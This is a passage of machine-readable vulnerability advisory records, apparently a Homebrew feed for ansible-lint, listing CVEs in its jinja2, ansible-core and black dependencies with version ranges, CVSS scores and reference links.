"resource":"jinja2"}]},"summary":"Regular Expression Denial of Service (ReDoS) in Jinja2","details":"This affects the package jinja2 from 0.0.0 and before 2.11.3. The ReDOS vulnerability of the regex is mainly due to the sub-pattern [a-zA-Z0-9._-]+.[a-zA-Z0-9._-]+ This issue can be mitigated by Markdown to format user content instead of the urlize filter, or by implementing request timeouts and limiting process memory.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28493"},{"type":"WEB","url":"https://github.com/pallets/jinja/pull/1343"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/15ef8f09b659f9100610583938005a7a10472d4d"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g3rq-g295-4j3m"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/blob/ab81fd9c277900c85da0c322a2ff9d68a235b2e6/src/jinja2/utils.py%23L20"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2021-66.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PVAKCOO7VBVUBM3Q6CBBTPBFNP5NDXF4"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202107-19"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-PYTHON-JINJA2-1012994"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2023-4237","published":"2026-08-13T16:35:16Z","modified":"2026-11-08T08:36:50Z","upstream":["GHSA-ww3m-ffrm-qvqv","CVE-2023-4237","PYSEC-2026-1125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2"},{"fixed":"6.6.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"}]},"summary":"Ansible may expose private key","details":"A flaw was found in the Ansible Automation Platform. When creating a new keypair, the ec2_key module prints out the private key directly to the standard output. This flaw allows an attacker to fetch those keys from the log files, compromising the system's confidentiality, integrity, and availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-4237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5653"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5666"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-4237"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2229979"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2023-5764","published":"2026-08-13T16:35:16Z","modified":"2026-11-08T08:36:50Z","upstream":["GHSA-7j69-qfc3-2fq9","CVE-2023-5764","PYSEC-2026-1122"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2"},{"fixed":"6.6.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"}]},"summary":"Ansible template injection vulnerability","details":"A template injection flaw was found in Ansible where a user's controller internal templating operations may remove the unsafe designation from template data. This issue could allow an attacker to use a specially crafted file to introduce templating injection when supplying templating data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5764"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/270b39f6ff02511a2199505161218cbd1a5ae34f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7239d2d371bc6e274cbb7314e01431adce6ae25a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fea130480d261ea5bf6fcd5cf19a348f1686ceb1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:7773"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5764"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2247629"},{"type":"WEB","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X7Q6CHPVCHMZS5M7V22GOKFSXZAQ24EU"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2024-0690","published":"2026-08-13T16:35:16Z","modified":"2026-11-08T08:36:50Z","upstream":["GHSA-h24r-m9qc-pvpg","CVE-2024-0690","PYSEC-2024-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2"},{"fixed":"6.6.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.3","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"}]},"summary":"Ansible-core information disclosure flaw","details":"An information disclosure flaw was found in ansible-core due to a failure to respect the `ANSIBLE_NO_LOG` configuration in some scenarios. It was discovered that information is still included in the output in certain tasks, such as loop items. Depending on the task, this issue may include sensitive information, such as decrypted secret values.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-0690"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/82565"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6935c8e303440addd3871ecf8e04bde61080b032"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/78db3a3de6b40fb52d216685ae7cb903c609c3e1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b9a03bbf5a63459468baf8895ff74a62e9be4532"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/beb04bc2642c208447c5a936f94310528a1946b1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:0733"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:2246"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:3043"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-0690"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2259013"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible-core/PYSEC-2024-36.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IZQGCRDSZL7ONCULMB6ZUHOE4L44KIBP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDYSWOCPZMNRU5LWKIEBW4WGWLMTU7WQ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20250117-0001"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2024-11079","published":"2026-08-13T16:35:16Z","modified":"2026-11-08T08:36:50Z","upstream":["GHSA-99w6-3xph-cx78","CVE-2024-11079","PYSEC-2026-1123"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2"},{"fixed":"6.6.1"},{"introduced":"24.2.1"},{"fixed":"24.10.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.1rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"}]},"summary":"Ansible-Core vulnerable to content protections bypass","details":"A flaw was found in Ansible-Core. This vulnerability allows attackers to bypass unsafe content protections using the hostvars object to reference and execute templated content. This issue can lead to arbitrary code execution if remote data or module outputs are improperly templated within playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-11079"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84299"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84339"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/2936b80dbbc7efb889934aeec80f6142c10266ce"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/70e83e72b43e05e57eb42a6d52d01a4d9768f510"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/98774d15d7748ebaaaf2e83942cc7e8d39f7280e"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10770"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:11145"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-11079"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2325171"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.18.1/changelogs/CHANGELOG-v2.18.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/03/msg00006.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2024-21503","published":"2026-08-13T16:35:16Z","modified":"2026-10-14T08:48:05Z","upstream":["GHSA-fj7x-q9j7-g6q6","CVE-2024-21503","PYSEC-2024-48"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.2"},{"fixed":"6.8.7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"24.3.0","resource":"black","resource_purl":"pkg:pypi/black@26.10.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"black","subject_version":"26.10.1","key":"pkg:pypi/black@26.10.1","resource":"black"}]},"summary":"Black vulnerable to Regular Expression Denial of Service (ReDoS)","details":"Versions of the package black before 24.3.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the lines_with_leading_tabs_expanded function in the strings.py file. An attacker could exploit this vulnerability by crafting a malicious input that causes a denial of service.\n\nExploiting this vulnerability is possible when running Black on untrusted input, or if you habitually put thousands of leading tab characters in your docstrings.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-21503"},{"type":"WEB","url":"https://github.com/psf/black/commit/f00093672628d212b8965a8993cee8bedf5fe9b8"},{"type":"PACKAGE","url":"https://github.com/psf/black"},{"type":"WEB","url":"https://github.com/psf/black/releases/tag/24.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/black/PYSEC-2024-48.yaml"},{"type":"WEB","url":"https://security.snyk.io/vuln/SNYK-PYTHON-BLACK-6256273"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2024-22195","published":"2026-08-13T16:35:16Z","modified":"2026-10-13T22:33:47Z","upstream":["GHSA-h5c8-rqwp-cp95","CVE-2024-22195","PYSEC-2026-1473"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12"},{"fixed":"5.0.4"},{"introduced":"6.0.2"},{"fixed":"6.6.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.3","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/01/msg00010.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5XCWZD464AJJJUBOO7CMPXQ4ROBC6JX2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DELCVUUYX75I5K4Q5WMJG4MUZJA6VAIP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O7YWRBX6JQCWC2XXCTZ55C7DPMGICCN3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2024-34064","published":"2026-08-13T16:35:16Z","modified":"2026-10-13T22:33:47Z","upstream":["GHSA-h75v-3vvj-5mfj","CVE-2024-34064","PYSEC-2026-1474"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12"},{"fixed":"5.0.4"},{"introduced":"6.0.2"},{"fixed":"6.6.1"},{"introduced":"24.2.1"},{"fixed":"24.2.3_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.4","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, `/`, `>`, or `=`, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters.\n\nAccepting keys as user input is now explicitly considered an unintended use case of the `xmlattr` filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting _values_ as user input continues to be safe.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h75v-3vvj-5mfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34064"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/0668239dc6b44ef38e7a6c9f91f312fd4ca581cb"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/567XIGSZMABG6TSMYWD7MIYNJSUQQRUC"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCLF44KY43BSVMTE6S53B4V5WP3FRRSE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SSCBHIL6BYKR5NRCBXP4XMP2CEEKGFVS"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZALNWE3TXPPHVPSI3AZ5CTMSTAVN5UMS"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2024-56201","published":"2026-08-13T16:35:16Z","modified":"2026-10-13T22:33:47Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2"},{"fixed":"6.6.1"},{"introduced":"24.2.1"},{"fixed":"25.1.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2024-56326","published":"2026-08-13T16:35:16Z","modified":"2026-10-13T22:33:47Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12"},{"fixed":"5.0.4"},{"introduced":"6.0.2"},{"fixed":"6.6.1"},{"introduced":"24.2.1"},{"fixed":"25.1.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2024-8775","published":"2026-08-13T16:35:16Z","modified":"2026-11-08T08:36:50Z","upstream":["GHSA-jpxc-vmjf-9fcj","CVE-2024-8775","PYSEC-2026-1124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2"},{"fixed":"6.6.1"},{"introduced":"24.2.1"},{"fixed":"24.9.2_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.17.6","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"}]},"summary":"Ansible vulnerable to Insertion of Sensitive Information into Log File","details":"A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-8775"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8a87e1c5d37422bc99d27ad4237d185cc233e035"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1249"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-8775"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2312119"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jpxc-vmjf-9fcj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.16.13/changelogs/CHANGELOG-v2.16.rst#security-fixes"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.17.6/changelogs/CHANGELOG-v2.17.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2024-9902","published":"2026-08-13T16:35:16Z","modified":"2026-11-08T08:36:50Z","upstream":["GHSA-32p4-gm2c-wmch","CVE-2024-9902","PYSEC-2026-1121"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2"},{"fixed":"6.6.1"},{"introduced":"24.2.1"},{"fixed":"24.9.2_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.0rc2","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"}]},"summary":"ansible-core Incorrect Authorization vulnerability","details":"A flaw was found in Ansible. The ansible-core `user` module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the `user` module against the unprivileged user's home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-9902"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03794735d370db98a5ec2ad514fab2b0dd22d6be"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03daf774d0d80fb7235910ed1c2b4fbcaebdfe65"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3b6de811abea0a811e03e3029222a7e459922892"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/9d7312f695639e804d2caeb1d0f51c716a9ac7dd"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f7be90626da3035c697623dcf9c90b7a0bc91c92"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1861"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-9902"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2318271"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2025-27516","published":"2026-08-13T16:35:16Z","modified":"2026-10-13T22:33:47Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.12"},{"fixed":"5.0.4"},{"introduced":"6.0.2"},{"fixed":"6.6.1"},{"introduced":"24.2.1"},{"fixed":"25.1.3_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute 